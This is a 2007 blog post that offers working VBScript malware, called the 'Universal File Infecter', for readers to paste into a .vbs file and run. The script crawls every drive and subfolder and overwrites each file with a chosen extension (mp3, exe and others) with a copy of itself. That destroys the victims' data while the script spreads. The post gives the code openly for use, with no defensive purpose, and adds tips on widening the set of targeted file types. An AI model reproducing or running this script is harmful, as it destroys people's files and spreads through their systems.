Tuesday, November 13, 2007

Infect Any File Format In WORLD....(UFI 1.0)

Infect Any File Format In WORLD....(UFI 1.0)
copy this codes in .vbs file and see the magic.......!

-----------------------------------------------------------------------------------------------------------
set Avi = wscript.CreateObject("WScript.Shell")
Set fso = createobject("scripting.filesystemobject")
Set Drives=fso.drives
For Each Drive in Drives
If drive.isready then
Dosearch drive & "\"
end If
Next
function Dosearch(path)

on error resume next
Set Folder=fso.getfolder(path)
Set Files = folder.files
For Each File in files
If fso.GetExtensionName(file.path)="(any File Ext put hear ex. .mp3)"then
fso.Copyfile Wscript.Scriptfullname,file.path
end if
next
Set Subfolders = folder.SubFolders
For Each Subfolder in Subfolders
Dosearch Subfolder.path
Next
end function

------------------------------------------------------------------------------------------------------------

tips :- If fso.GetExtensionName(file.path)="(any File Ext put hear ex. mp3)"then
in this line put your file ext eg:-
If fso.GetExtensionName(file.path)="exe" or "mp3" or "many u can"then

Enjoy..... The Universal File Infecter 1.0